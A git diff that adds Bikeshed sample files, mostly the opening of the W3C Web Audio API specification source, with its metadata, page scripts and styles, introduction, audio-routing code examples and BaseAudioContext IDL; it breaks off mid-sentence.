+    text: mem_alloc; url: appendix/embedding.html#embed-mem-alloc
+    text: mem_type; url: appendix/embedding.html#embed-mem-type
+    text: mem_read; url: appendix/embedding.html#embed-mem-read
+    text: mem_write; url: appendix/embedding.html#embed-mem-write
+    text: mem_size; url: appendix/embedding.html#embed-mem-size
+    text: mem_grow; url: appendix/embedding.html#embed-mem-grow
+    text: global_alloc; url: appendix/embedding.html#embed-global-alloc
+    text: global_type; url: appendix/embedding.html#embed-global-type
+    text: global_read; url: appendix/embedding.html#embed-global-read
+    text: global_write; url: appendix/embedding.html#embed-global-write
+    text: error; url: appendix/embedding.html#embed-error
+    text: store; url: exec/runtime.html#syntax-store
+    text: table type; url: syntax/types.html#syntax-tabletype
+    text: table address; url: exec/runtime.html#syntax-tableaddr
+    text: function address; url: exec/runtime.html#syntax-funcaddr
+    text: memory address; url: exec/runtime.html#syntax-memaddr
+    text: global address; url: exec/runtime.html#syntax-globaladdr
+    text: extern address; url: exec/runtime.html#syntax-externaddr
+    url: syntax/types.html#syntax-numtype
+        text: i32
+        text: i64
+        text: f32
+        text: f64
+    url: syntax/types.html#syntax-reftype
+        text: reftype
+        text: funcref
+        text: externref
+    text: function element; url: exec/runtime.html#syntax-funcelem
+    text: import component; url: syntax/modules.html#imports
+    text: external value; url: exec/runtime.html#syntax-externval
+    text: host function; url: exec/runtime.html#syntax-hostfunc
+    text: the instantiation algorithm; url: exec/modules.html#instantiation
+    text: module; url: syntax/modules.html#syntax-module
+    text: imports; url: syntax/modules.html#syntax-module
+    text: import; url: syntax/modules.html#syntax-import
+    url: syntax/types.html#external-types
+        text: external type
+        text: func
+        text: table
+        text: mem
+        text: global
+    text: global type; url: syntax/types.html#syntax-globaltype
+    url: syntax/types.html#syntax-mut
+        text: var
+        text: const
+    text: address; url: exec/runtime.html#addresses
+    text: signed_32; url: exec/numerics.html#aux-signed
+    text: memory.grow; url: exec/instructions.html#exec-memory-grow
+    text: current frame; url: exec/conventions.html#exec-notation-textual
+    text: module; for: frame; url: exec/runtime.html#syntax-frame
+    text: memaddrs; for: moduleinst; url: exec/runtime.html#syntax-moduleinst
+    text: signed_64; url: exec/numerics.html#aux-signed
+    text: sequence; url: syntax/conventions.html#grammar-notation
+urlPrefix: https://heycam.github.io/webidl/; spec: WebIDL
+    type: dfn
+        text: create a namespace object; url: create-a-namespace-object
+</pre>
+
+<pre class='link-defaults'>
+spec:infra; type:dfn; text:list
+spec:ecma-262; type:exception; for:ECMAScript; text:Error
+spec:ecmascript; type:exception; for:ECMAScript; text:TypeError
+spec:ecmascript; type:exception; for:ECMAScript; text:RangeError
+spec:ecmascript; type:interface; for:ECMAScript; text:ArrayBuffer
+spec:webidl; type:dfn; text:resolve
+</pre>
+
+<style>
+emu-const {
+    font-family: serif;
+}
+</style>
+
+This API provides a way to access WebAssembly [[WEBASSEMBLY]] through a bridge to explicitly construct modules from JavaScript [[ECMASCRIPT]].
+
+<h2 id="sample">Sample API Usage</h2>
+
+<p><em>This section is non-normative.</em></p>
diff --git a/samples/Bikeshed/example2.bs b/samples/Bikeshed/example2.bs
new file mode 100644
index 0000000000..8e284f153c
--- /dev/null
+++ b/samples/Bikeshed/example2.bs
@@ -0,0 +1,13228 @@
+<pre class=metadata>
+Title: Web Audio API
+Shortname: webaudio
+Level: 1
+Group: audiowg
+Status: ED
+ED: https://webaudio.github.io/web-audio-api/
+TR: https://www.w3.org/TR/webaudio/
+Favicon: favicon.png
+Previous Version: https://www.w3.org/TR/2021/CR-webaudio-20210114/
+Previous Version: https://www.w3.org/TR/2020/CR-webaudio-20200611/
+Previous Version: https://www.w3.org/TR/2018/CR-webaudio-20180918/
+Previous Version: https://www.w3.org/TR/2018/WD-webaudio-20180619/
+Previous Version: https://www.w3.org/TR/2015/WD-webaudio-20151208/
+Previous Version: https://www.w3.org/TR/2013/WD-webaudio-20131010/
+Previous Version: https://www.w3.org/TR/2012/WD-webaudio-20121213/
+Previous Version: https://www.w3.org/TR/2012/WD-webaudio-20120802/
+Previous Version: https://www.w3.org/TR/2012/WD-webaudio-20120315/
+Previous Version: https://www.w3.org/TR/2011/WD-webaudio-20111215/
+Editor: Paul Adenot, Mozilla (https://www.mozilla.org/), padenot@mozilla.com, w3cid 62410
+Editor: Hongchan Choi, Google (https://www.google.com/), hongchan@google.com, w3cid 74103
+Former Editor: Raymond Toy (until Oct 2018)
+Former Editor: Chris Wilson (Until Jan 2016)
+Former Editor: Chris Rogers (Until Aug 2013)
+Implementation Report: implementation-report.html
+Test Suite: https://github.com/web-platform-tests/wpt/tree/master/webaudio
+Repository: WebAudio/web-audio-api
+Abstract: This specification describes a high-level Web <abbr title="Application Programming Interface">API</abbr>
+	for processing and synthesizing audio in web applications.
+	The primary paradigm is of an audio routing graph,
+	where a number of {{AudioNode}} objects are connected together to define the overall audio rendering.
+	The actual processing will primarily take place in the underlying implementation
+	(typically optimized Assembly / C / C++ code),
+	but [[#AudioWorklet|direct script processing and synthesis]] is also supported.
+
+	The [[#introductory]] section covers the motivation behind this specification.
+
+	This API is designed to be used in conjunction with other APIs and elements on the web platform, notably:
+	XMLHttpRequest [[XHR]] (using the <code>responseType</code> and <code>response</code> attributes).
+	For games and interactive applications,
+	it is anticipated to be used with the <code>canvas</code> 2D [[2dcontext]]
+	and WebGL [[WEBGL]] 3D graphics APIs.
+Markup Shorthands: markdown on, dfn on, css off
+</pre>
+
+<pre class=anchors>
+spec: ECMAScript; url: https://tc39.github.io/ecma262/#sec-data-blocks; type: dfn; text: data block;
+url: https://www.w3.org/TR/mediacapture-streams/#dom-mediadevices-getusermedia; type: method; for: MediaDevices; text: getUserMedia()
+</pre>
+<!-- We want {{object}} and {{Promise}} to go to the WebIDL object -->
+<pre class=link-defaults>
+spec:webidl; type:interface; text:object
+spec:webidl; type:interface; text:Promise
+</pre>
+<link rel="preload" href="https://www.w3.org/scripts/MathJax/2.7.5/MathJax.js?config=TeX-AMS-MML_HTMLorMML" as="script">
+<link rel="preload" href="https://www.w3.org/scripts/MathJax/2.7.5/jax/output/HTML-CSS/jax.js?rev=2.7.5" as="script">
+<link rel="preload" href="https://www.w3.org/scripts/MathJax/2.7.5/jax/output/HTML-CSS/fonts/STIX/fontdata.js?rev=2.7.5" as="script">
+<link rel="preload" href="https://www.w3.org/scripts/MathJax/2.7.5/config/TeX-AMS-MML_HTMLorMML.js?rev=2.7.5" as="script">
+<link rel="preload" href="https://www.w3.org/scripts/MathJax/2.7.5/jax/element/mml/optable/BasicLatin.js?rev=2.7.5" as="script">
+<link rel="preload" href="https://www.w3.org/scripts/MathJax/2.7.5/jax/output/HTML-CSS/autoload/mtable.js?rev=2.7.5" as="script">
+<script>
+window.addEventListener("DOMContentLoaded", function () {
+	"use strict";
+	new Promise(function (resolve, reject) {
+		var mathjax = document.createElement('script');
+		var url = "https://www.w3.org/scripts/MathJax/2.7.5/MathJax.js?config=TeX-AMS-MML_HTMLorMML";
+		// Safari doesn't (yet) support load event on scripts so we have to poll. So 😢.
+		var id = setInterval(function () {
+			if (window.MathJax) {
+				clearInterval(id);
+				resolve();
+			}
+		}, 100);
+		mathjax.onload = function () {
+			clearInterval(id);
+			resolve();
+		};
+		mathjax.onerror = function (err) {
+			var error = (err instanceof Event) ? new Error(err.message) : err;
+			reject(error);
+		};
+		// Time out waiting after 20 seconds and reject.
+		setTimeout(function(){
+			mathjax.onerror(new Error("Loading timed out."));
+		}, 20000);
+		mathjax.id = "mathjax";
+		mathjax.src = url;
+		document.body.appendChild(mathjax);
+	}).then(function () {
+		MathJax.Hub.Config({
+			tex2jax: {
+				skipTags: ["script", "noscript", "style", "textarea", "code"]
+			}
+		});
+	}).catch(function (error) {
+		console.error(error);
+	});
+});
+</script>
+<script>
+// This replaces the contents of "divID" with an unordered list of all the
+// amendment boxes with a prefix of "prefix".  Each item of the list will be of
+// the form "label n", where "label" is the specified label to use via "label".
+// "n" is just a sequential number starting at 1.
+//
+// Example usage where we want a list of all the changes whose id begins with
+// "c2361".
+//
+// (div id="change-list-2361")
+// (/div)
+//
+// And add
+//
+//  ListAmendments("c2361", "Correction", "change-list-2361")
+//
+// to the onload event listener at the bottom of this file.
+//
+// (Replace the "(", ")" with "<", ">", respectively above.  Bikeshed mangles
+// this if we use "<" above.
+
+function ListAmendments(prefix, label, divID) {
+  // Find all the nodes whose id starts with prefix.
+  let nodes = document.querySelectorAll('*[id^="' + prefix + '"]');
+  // Find the div element which will be replaced by the unordered list.
+  let div = document.getElementById(divID);
+
+  // Create the unordered list
+  let text = '<ul>';
+  let index = 1;
+  nodes.forEach(x => {
+    text += '<li><a href="#' + x.id + '">' + label + ' ' + index + '</a></li>';
+    ++index;
+    // Insert buttons for prev and next change
+    InsertButtons(x);
+  });
+  text += '</ul>';
+
+  div.innerHTML = text;
+}
+
+// Search for the class "amendment-buttons", and replace the contents of the div
+// with a set of buttons which link to the previous and next related amendment.
+
+function InsertButtons(node) {
+  let list = node.getElementsByClassName("amendment-buttons");
+
+  // We only add buttons to the first class inside the node.
+  if (list && list.length > 0) {
+    let matches = node.id.match(/([ac]\d+)-(\d+)/);
+    let changeID = matches[1];
+    let changeNum = parseInt(matches[2]);
+    // Create buttons.
+    let text = "";
+    if (changeNum > 1) {
+      // Add "previous" button, only if there is a previous change.
+      text += "<button onclick='location.href=";
+      text += '"#' + changeID + '-' + (changeNum-1) + '"';
+      text += "'>Previous Change</button>";
+    }
+
+    if (document.getElementById(changeID + "-" + (changeNum + 1))) {
+      // Add "next" button only if there is a next change
+      text += "<button onclick='location.href=";
+      text += '"#' + changeID + '-' + (changeNum + 1) + '"';
+      text += "'>Next Change</button>";
+    }
+
+    list[0].innerHTML = text;
+  }
+}
+window.addEventListener('load', (event) => {
+  // Add entries here for each change
+  ListAmendments("c2361", "Proposed Correction", "change-list-2361");
+  ListAmendments("c127", "Proposed Correction", "change-list-127");
+  ListAmendments("c2359", "Proposed Correction", "change-list-2359");
+  ListAmendments("c2373", "Proposed Correction", "change-list-2373");
+  ListAmendments("c2321", "Proposed Correction", "change-list-2321");
+  ListAmendments("c2375", "Proposed Correction", "change-list-2375");
+});
+</script>
+<style>
+@media (prefers-color-scheme: light) {
+:root {
+	--div-info-fg-color: #178217;
+}
+}
+@media (prefers-color-scheme: dark) {
+:root {
+	--div-info-fg-color: springgreen;
+}
+}
+.todo {
+	border: 1px solid red;
+	background-color: rgba(255, 0, 0, 0.3);
+}
+.todo:before {
+	content: "TODO:";
+}
+.synchronous:before {
+	content: "⌛ ";
+}
+.synchronous:hover{
+	border-bottom: 1px dotted gray;
+}
+body#respecDocument {
+	max-width: 60em;
+}
+.seclist > p {
+	font-style: italic;
+}
+table.channels {
+	width:100%;
+	overflow: auto;
+	margin: 0;
+	font-size: 14px;
+	font-family: /*Consolas, Monaco,*/ monospace;
+}
+table.channels th {
+	width:60px;
+	text-align:center;
+}
+table.channels td {
+	width:60px;
+	text-align:center;
+}
+@media (prefers-color-scheme: light) {
+table.channels tr:nth-child(even) {
+	background: #EEE;
+}
+table.channels tr:nth-child(odd) {
+	background: #FFF;
+}
+}
+@media (prefers-color-scheme: dark) {
+table.channels tr:nth-child(even) {
+	background: var(--assertion-border)
+}
+}
+
+div.node-info {
+	padding-left: 4em;
+	padding-right: 4em;
+}
+div.node-info > table {
+	border-collapse: collapse;
+	border-top: 2px solid #707070;
+	border-bottom: 2px solid #707070;
+	width: 100%;
+	margin: 2em 0;
+}
+div.node-info > table > tbody > tr > th,
+div.node-info > table > tbody > tr > td {
+	padding: 0.2em 0.6em;
+	min-width: 150px;
+	border-top: 1px solid #ddd
+}
+div.node-info > table > thead > tr > th {
+	line-height: 2em;
+	font-weight: 600;
+	border-bottom: 1px solid #707070;
+	color: var(--div-info-fg-color);
+}
+div.audioparam-info {
+	padding-left: 4em;
+	padding-right: 4em;
+}
+div.audioparam-info > table {
+	border-collapse: collapse;
+	border-top: 2px solid #707070;
+	border-bottom: 2px solid #707070;
+	width: 100%;
+	margin: 2em 0;
+}
+div.audioparam-info > table > tbody > tr > th,
+div.audioparam-info > table > tbody > tr > td {
+	padding: 0.2em 0.6em;
+	min-width: 150px;
+	border-top: 1px solid #ddd
+}
+div.audioparam-info > table > thead > tr > th {
+	line-height: 2em;
+	font-weight: 600;
+	border-bottom: 1px solid #707070;
+	color: var(--div-info-fg-color);
+}
+div.enum-description > table {
+	border-collapse: collapse;
+	border-top: 2px solid #707070;
+	border-bottom: 2px solid #707070;
+	width: 100%;
+	margin: 2em 0;
+}
+div.enum-description > table > tbody > tr > th,
+div.enum-description > table > tbody > tr > td {
+	padding: 0.2em 0.6em;
+	min-width: 150px;
+	border-top: 1px solid #ddd
+}
+div.enum-description > table > thead > tr > th {
+	line-height: 2em;
+	font-weight: 600;
+	color: var(--div-info-fg-color);
+	border-bottom: 1px solid #707070;
+}
+code.nobreak {
+  white-space: nowrap;
+}
+</style>
+
+<h2 id="introductory" class=no-num>
+Introduction</h2>
+
+Audio on the web has been fairly primitive up to this point and until
+very recently has had to be delivered through plugins such as Flash and
+QuickTime. The introduction of the <{audio}> element in HTML5
+is very important, allowing for basic streaming audio playback. But, it
+is not powerful enough to handle more complex audio applications. For
+sophisticated web-based games or interactive applications, another
+solution is required. It is a goal of this specification to include the
+capabilities found in modern game audio engines as well as some of the
+mixing, processing, and filtering tasks that are found in modern
+desktop audio production applications.
+
+The APIs have been designed with a wide variety of use cases
+[[webaudio-usecases]] in mind. Ideally, it should be able to support
+<i>any</i> use case which could reasonably be implemented with an
+optimized C++ engine controlled via script and run in a browser. That
+said, modern desktop audio software can have very advanced
+capabilities, some of which would be difficult or impossible to build
+with this system. Apple's Logic Audio is one such application which has
+support for external MIDI controllers, arbitrary plugin audio effects
+and synthesizers, highly optimized direct-to-disk audio file
+reading/writing, tightly integrated time-stretching, and so on.
+Nevertheless, the proposed system will be quite capable of supporting a
+large range of reasonably complex games and interactive applications,
+including musical ones. And it can be a very good complement to the
+more advanced graphics features offered by WebGL. The API has been
+designed so that more advanced capabilities can be added at a later
+time.
+
+<h3 id="Features">
+Features</h3>
+
+The API supports these primary features:
+
+* [[#ModularRouting|Modular routing]] for simple or complex
+	mixing/effect architectures.
+
+* High dynamic range, using 32-bit floats for internal processing.
+
+* [[#AudioParam|Sample-accurate scheduled sound playback]]
+	with low [[#latency|latency]] for musical applications
+	requiring a very high degree of rhythmic precision such as drum
+	machines and sequencers. This also includes the possibility of
+	[[#DynamicLifetime|dynamic creation]] of effects.
+
+* Automation of audio parameters for envelopes, fade-ins /
+	fade-outs, granular effects, filter sweeps, LFOs etc.
+
+* Flexible handling of channels in an audio stream, allowing them
+	to be split and merged.
+
+* Processing of audio sources from an <{audio}> or <{video}>
+	{{MediaElementAudioSourceNode|media element}}.
+
+* Processing live audio input using a {{MediaStreamTrackAudioSourceNode|MediaStream}} from
+	{{getUserMedia()}}.
+
+* Integration with WebRTC
+	* Processing audio received from a remote peer using a
+		{{MediaStreamTrackAudioSourceNode}} and
+		[[!webrtc]].
+
+	* Sending a generated or processed audio stream to a remote
+		peer using a {{MediaStreamAudioDestinationNode}}
+		and [[!webrtc]].
+
+* Audio stream synthesis and processing [[#AudioWorklet|directly using scripts]].
+
+* [[#Spatialization|Spatialized audio]] supporting a wide
+	range of 3D games and immersive environments:
+
+	* Panning models: equalpower, HRTF, pass-through
+	* Distance Attenuation
+	* Sound Cones
+	* Obstruction / Occlusion
+	* Source / Listener based
+
+* A convolution engine for a wide
+	range of linear effects, especially very high-quality room effects.
+	Here are some examples of possible effects:
+
+	* Small / large room
+	* Cathedral
+	* Concert hall
+	* Cave
+	* Tunnel
+	* Hallway
+	* Forest
+	* Amphitheater
+	* Sound of a distant room through a doorway
+	* Extreme filters
+	* Strange backwards effects
+	* Extreme comb filter effects
+
+* Dynamics compression for overall control and sweetening of the mix
+
+* Efficient [[#AnalyserNode|real-time time-domain and frequency-domain analysis / music visualizer support]].
+
+* Efficient biquad filters for lowpass, highpass, and other common filters.
+
+* A Waveshaping effect for distortion and other non-linear effects
+
+* Oscillators
+
+<h4 id="ModularRouting">
+Modular Routing</h4>
+
+Modular routing allows arbitrary connections between different
+{{AudioNode}} objects. Each node can have
+<dfn>inputs</dfn> and/or <dfn>outputs</dfn>.
+A <dfn>source node</dfn> has no inputs and a single output.
+A <dfn>destination node</dfn> has one input and no outputs. Other nodes such as
+filters can be placed between the source and destination nodes. The
+developer doesn't have to worry about low-level stream format
+details when two objects are connected together;
+<a href="#channel-up-mixing-and-down-mixing">the right thing just happens</a>.
+For example, if a mono audio stream is connected to a
+stereo input it should just mix to left and right channels
+[[#channel-up-mixing-and-down-mixing|appropriately]].
+
+In the simplest case, a single source can be routed directly to the output.
+All routing occurs within an {{AudioContext}}
+containing a single {{AudioDestinationNode}}:
+
+<figure>
+	<img alt="modular routing" src="images/modular-routing1.png" width="305" height="128">
+	<figcaption>
+		A simple example of modular routing.
+	</figcaption>
+</figure>
+
+Illustrating this simple routing, here's a simple example playing a single sound:
+
+<pre class="example" highlight="js">
+const context = new AudioContext();
+
+function playSound() {
+	const source = context.createBufferSource();
+	source.buffer = dogBarkingBuffer;
+	source.connect(context.destination);
+	source.start(0);
+}
+</pre>
+
+Here's a more complex example with three sources and a convolution
+reverb send with a dynamics compressor at the final output stage:
+
+<figure>
+	<img alt="modular routing2" src="images/modular-routing2.png" width="561" height="411">
+	<figcaption>
+		A more complex example of modular routing.
+	</figcaption>
+</figure>
+
+<pre class="example" highlight="js" line-numbers>
+let context;
+let compressor;
+let reverb;
+
+let source1, source2, source3;
+
+let lowpassFilter;
+let waveShaper;
+let panner;
+
+let dry1, dry2, dry3;
+let wet1, wet2, wet3;
+
+let mainDry;
+let mainWet;
+
+function setupRoutingGraph () {
+	context = new AudioContext();
+
+	// Create the effects nodes.
+	lowpassFilter = context.createBiquadFilter();
+	waveShaper = context.createWaveShaper();
+	panner = context.createPanner();
+	compressor = context.createDynamicsCompressor();
+	reverb = context.createConvolver();
+
+	// Create main wet and dry.
+	mainDry = context.createGain();
+	mainWet = context.createGain();
+
+	// Connect final compressor to final destination.
+	compressor.connect(context.destination);
+
+	// Connect main dry and wet to compressor.
+	mainDry.connect(compressor);
+	mainWet.connect(compressor);
+
+	// Connect reverb to main wet.
+	reverb.connect(mainWet);
+
+	// Create a few sources.
+	source1 = context.createBufferSource();
+	source2 = context.createBufferSource();
+	source3 = context.createOscillator();
+
+	source1.buffer = manTalkingBuffer;
+	source2.buffer = footstepsBuffer;
+	source3.frequency.value = 440;
+
+	// Connect source1
+	dry1 = context.createGain();
+	wet1 = context.createGain();
+	source1.connect(lowpassFilter);
+	lowpassFilter.connect(dry1);
+	lowpassFilter.connect(wet1);
+	dry1.connect(mainDry);
+	wet1.connect(reverb);
+
+	// Connect source2
+	dry2 = context.createGain();
+	wet2 = context.createGain();
+	source2.connect(waveShaper);
+	waveShaper.connect(dry2);
+	waveShaper.connect(wet2);
+	dry2.connect(mainDry);
+	wet2.connect(reverb);
+
+	// Connect source3
+	dry3 = context.createGain();
+	wet3 = context.createGain();
+	source3.connect(panner);
+	panner.connect(dry3);
+	panner.connect(wet3);
+	dry3.connect(mainDry);
+	wet3.connect(reverb);
+
+	// Start the sources now.
+	source1.start(0);
+	source2.start(0);
+	source3.start(0);
+}
+</pre>
+
+Modular routing also permits the output of
+{{AudioNode}}s to be routed to an
+{{AudioParam}} parameter that controls the behavior
+of a different {{AudioNode}}. In this scenario, the
+output of a node can act as a modulation signal rather than an
+input signal.
+
+<figure>
+	<img alt="modular routing3" src="images/modular-routing3.png"
+	width="346" height="337">
+	<figcaption>
+		Modular routing illustrating one Oscillator modulating the
+		frequency of another.
+	</figcaption>
+</figure>
+
+<pre class="example" highlight="js" line-numbers>
+function setupRoutingGraph() {
+	const context = new AudioContext();
+
+	// Create the low frequency oscillator that supplies the modulation signal
+	const lfo = context.createOscillator();
+	lfo.frequency.value = 1.0;
+
+	// Create the high frequency oscillator to be modulated
+	const hfo = context.createOscillator();
+	hfo.frequency.value = 440.0;
+
+	// Create a gain node whose gain determines the amplitude of the modulation signal
+	const modulationGain = context.createGain();
+	modulationGain.gain.value = 50;
+
+	// Configure the graph and start the oscillators
+	lfo.connect(modulationGain);
+	modulationGain.connect(hfo.detune);
+	hfo.connect(context.destination);
+	hfo.start(0);
+	lfo.start(0);
+}
+</pre>
+
+<h3 id="APIOverview">
+API Overview</h3>
+
+The interfaces defined are:
+
+* An <a class="dfnref" href="#AudioContext">AudioContext</a>
+	interface, which contains an audio signal graph representing
+	connections between {{AudioNode}}s.
+
+* An {{AudioNode}} interface, which represents
+	audio sources, audio outputs, and intermediate processing modules.
+	{{AudioNode}}s can be dynamically connected together
+	in a [[#ModularRouting|modular fashion]].
+	{{AudioNode}}s exist in the context of an
+	{{AudioContext}}.
+
+* An {{AnalyserNode}} interface, an
+	{{AudioNode}} for use with music visualizers, or
+	other visualization applications.
+
+* An {{AudioBuffer}} interface, for working with
+	memory-resident audio assets. These can represent one-shot sounds, or
+	longer audio clips.
+
+* An {{AudioBufferSourceNode}} interface, an
+	{{AudioNode}} which generates audio from an
+	AudioBuffer.
+
+* An {{AudioDestinationNode}} interface, an
+	{{AudioNode}} subclass representing the final
+	destination for all rendered audio.
+
+* An {{AudioParam}} interface, for controlling an
+	individual aspect of an {{AudioNode}}'s functioning,
+	such as volume.
+
+* An {{AudioListener}} interface, which works with
+	a {{PannerNode}} for spatialization.
+
+* An {{AudioWorklet}} interface representing a
+	factory for creating custom nodes that can process audio directly
+	using scripts.
+
+* An {{AudioWorkletGlobalScope}} interface, the
+	context in which AudioWorkletProcessor processing scripts run.
+
+* An {{AudioWorkletNode}} interface, an
+	{{AudioNode}} representing a node processed in an
+	AudioWorkletProcessor.
+
+* An {{AudioWorkletProcessor}} interface,
+	representing a single node instance inside an audio worker.
+
+* A {{BiquadFilterNode}} interface, an
+	{{AudioNode}} for common low-order filters such as:
+
+	* Low Pass
+	* High Pass
+	* Band Pass
+	* Low Shelf
+	* High Shelf
+	* Peaking
+	* Notch
+	* Allpass
+
+* A {{ChannelMergerNode}} interface, an
+	{{AudioNode}} for combining channels from multiple
+	audio streams into a single audio stream.
+
+* A {{ChannelSplitterNode}} interface, an {{AudioNode}} for accessing the individual channels of an
+	audio stream in the routing graph.
+
+* A {{ConstantSourceNode}} interface, an
+	{{AudioNode}} for generating a nominally constant output value
+	with an {{AudioParam}} to allow automation of the value.
+
+* A {{ConvolverNode}} interface, an
+	{{AudioNode}} for applying a
+	real-time linear effect (such as the sound of
+	a concert hall).
+
+* A {{DelayNode}} interface, an
+	{{AudioNode}} which applies a dynamically adjustable
+	variable delay.
+
+* A {{DynamicsCompressorNode}} interface, an
+	{{AudioNode}} for dynamics compression.
+
+* A {{GainNode}} interface, an
+	{{AudioNode}} for explicit gain control.
+
+* An {{IIRFilterNode}} interface, an
+	{{AudioNode}} for a general IIR filter.
+
+* A {{MediaElementAudioSourceNode}} interface, an
+	{{AudioNode}} which is the audio source from an
+	<{audio}>, <{video}>, or other media element.
+
+* A {{MediaStreamAudioSourceNode}} interface, an
+	{{AudioNode}} which is the audio source from a
+	{{MediaStream}} such as live audio input, or from a remote peer.
+
+* A {{MediaStreamTrackAudioSourceNode}} interface,
+	an {{AudioNode}} which is the audio source from a
+	{{MediaStreamTrack}}.
+
+* A {{MediaStreamAudioDestinationNode}} interface,
+	an {{AudioNode}} which is the audio destination to a
+	{{MediaStream}} sent to a remote peer.
+
+* A {{PannerNode}} interface, an
+	{{AudioNode}} for spatializing / positioning audio in
+	3D space.
+
+* A {{PeriodicWave}} interface for specifying
+	custom periodic waveforms for use by the
+	{{OscillatorNode}}.
+
+* An {{OscillatorNode}} interface, an
+	{{AudioNode}} for generating a periodic waveform.
+
+* A {{StereoPannerNode}} interface, an
+	{{AudioNode}} for equal-power positioning of audio
+	input in a stereo stream.
+
+* A {{WaveShaperNode}} interface, an
+	{{AudioNode}} which applies a non-linear waveshaping
+	effect for distortion and other more subtle warming effects.
+
+There are also several features that have been deprecated from the
+Web Audio API but not yet removed, pending implementation experience
+of their replacements:
+
+* A {{ScriptProcessorNode}} interface, an {{AudioNode}} for generating or processing audio directly
+	using scripts.
+
+* An {{AudioProcessingEvent}} interface, which is
+	an event type used with {{ScriptProcessorNode}}
+	objects.
+
+<h2 id="audioapi">
+The Audio API</h2>
+
+<!--
+████████     ███     ██████  ████████          ███     ██████
+██     ██   ██ ██   ██    ██ ██               ██ ██   ██    ██
+██     ██  ██   ██  ██       ██              ██   ██  ██
+████████  ██     ██  ██████  ██████         ██     ██ ██
+██     ██ █████████       ██ ██             █████████ ██
+██     ██ ██     ██ ██    ██ ██             ██     ██ ██    ██
+████████  ██     ██  ██████  ████████       ██     ██  ██████
+-->
+
+<h3 interface lt="baseaudiocontext" id="BaseAudioContext">
+The {{BaseAudioContext}} Interface</h3>
+
+This interface represents a set of {{AudioNode}}
+objects and their connections. It allows for arbitrary routing of
+signals to an {{AudioDestinationNode}}. Nodes are
+created from the context and are then [[#ModularRouting|connected]] together.
+
+{{BaseAudioContext}} is not instantiated directly,
+but is instead extended by the concrete interfaces
+{{AudioContext}} (for real-time rendering) and
+{{OfflineAudioContext}} (for offline rendering).
+
+{{BaseAudioContext}} are created with an internal slot
+<dfn attribute for="BaseAudioContext">[[pending promises]]</dfn>  that is an
+initially empty ordered list of promises.
+
+Each {{BaseAudioContext}} has a unique
+<a href="https://html.spec.whatwg.org/multipage/media.html#media-element-event-task-source">
+media element event task source</a>.
+Additionally, a {{BaseAudioContext}} has two private slots <dfn attribute
+for="BaseAudioContext">[[rendering thread state]]</dfn> and <dfn attribute
+for="BaseAudioContext">[[control thread state]]</dfn> that take values from
+{{AudioContextState}}, and that are both 
+<div class="correction proposed" id="c2373-1">
+  <span class="marker">Proposed Correction
+    <a href="https://github.com/WebAudio/web-audio-api/issues/2373">Issue 2373</a>-1.
+  </span>
+  Use new Web IDL buffer primitives
+  <div class="amendment-buttons">
+    Buttons here
+  </div>
+  <del>initialy</del>
+  <ins>initially</ins>
+</div>
+set to <code>"suspended"</code>.
+
+<pre class="idl">
+enum AudioContextState {
+	"suspended",
+	"running",
+	"closed"
+};
+</pre>
+
+<div class="enum-description">
+<table class="simple" dfn-for="AudioContextState" dfn-type="enum-value">
+	<thead>
+		<tr>
+			<th scope="col" colspan="2">
+				Enumeration description
+	<tbody>
+		<tr>
+			<td>
+				"<dfn>suspended</dfn>"
+			<td>
+				This context is currently suspended (context time is not
+				proceeding, audio hardware may be powered down/released).
+		<tr>
+			<td>
+				"<dfn>running</dfn>"
+			<td>
+				Audio is being processed.
+		<tr>
+			<td>
+				"<dfn>closed</dfn>"
+			<td>
+				This context has been released, and can no longer be used to
+				process audio. All system audio resources have been released.
+</table>
+</div>
+
+<xmp class="idl">
+callback DecodeErrorCallback = undefined (DOMException error);
+
+callback DecodeSuccessCallback = undefined (AudioBuffer decodedData);
+
+[Exposed=Window]
+interface BaseAudioContext : EventTarget {
+	readonly attribute AudioDestinationNode destination;
+	readonly attribute float sampleRate;
+	readonly attribute double currentTime;
+	readonly attribute AudioListener listener;
+	readonly attribute AudioContextState state;
+	[SameObject, SecureContext]
+	readonly attribute AudioWorklet audioWorklet;
+	attribute EventHandler onstatechange;
+
+	AnalyserNode createAnalyser ();
+	BiquadFilterNode createBiquadFilter ();
+	AudioBuffer createBuffer (unsigned long numberOfChannels,
+	                          unsigned long length,
+	                          float sampleRate);
+	AudioBufferSourceNode createBufferSource ();
+	ChannelMergerNode createChannelMerger (optional unsigned long numberOfInputs = 6);
+	ChannelSplitterNode createChannelSplitter (
+		optional unsigned long numberOfOutputs = 6);
+	ConstantSourceNode createConstantSource ();
+	ConvolverNode createConvolver ();
+	DelayNode createDelay (optional double maxDelayTime = 1.0);
+	DynamicsCompressorNode createDynamicsCompressor ();
+	GainNode createGain ();
+	IIRFilterNode createIIRFilter (sequence<double> feedforward,
+	                               sequence<double> feedback);
+	OscillatorNode createOscillator ();
+	PannerNode createPanner ();
+	PeriodicWave createPeriodicWave (sequence<float> real,
+	                                 sequence<float> imag,
+	                                 optional PeriodicWaveConstraints constraints = {});
+	ScriptProcessorNode createScriptProcessor(
+		optional unsigned long bufferSize = 0,
+		optional unsigned long numberOfInputChannels = 2,
+		optional unsigned long numberOfOutputChannels = 2);
+	StereoPannerNode createStereoPanner ();
+	WaveShaperNode createWaveShaper ();
+
+	Promise<AudioBuffer> decodeAudioData (
+		ArrayBuffer audioData,
+		optional DecodeSuccessCallback? successCallback,
+		optional DecodeErrorCallback? errorCallback);
+};
+</xmp>
+
+<h4 id='BaseAudioContext-attributes'>
+Attributes</h4>
+
+<dl dfn-type=attribute dfn-for=BaseAudioContext>
+	: <dfn>audioWorklet</dfn>
+	::
+		Allows access to the <code>Worklet</code> object that can import
+		a script containing {{AudioWorkletProcessor}}
+		class definitions via the algorithms defined by [[!HTML]]
+		and {{AudioWorklet}}.
+
+	: <dfn>currentTime</dfn>
+	::
+		This is the time in seconds of the sample frame immediately
+		following the last sample-frame in the block of audio most
+		recently processed by the context's rendering graph. If the
+		context's rendering graph has not yet processed a block of
+		audio, then {{BaseAudioContext/currentTime}} has a value of
+		zero.
+
+		In the time coordinate system of {{BaseAudioContext/currentTime}}, the value of
+		zero corresponds to the first sample-frame in the first block
+		processed by the graph. Elapsed time in this system corresponds
+		to elapsed time in the audio stream generated by the
+		{{BaseAudioContext}}, which may not be
+		synchronized with other clocks in the system. (For an
+		{{OfflineAudioContext}}, since the stream is
+		not being actively played by any device, there is not even an
+		approximation to real time.)
+
+		All scheduled times in the Web Audio API are relative to the
+		value of {{BaseAudioContext/currentTime}}.
+
+		When the {{BaseAudioContext}} is in the
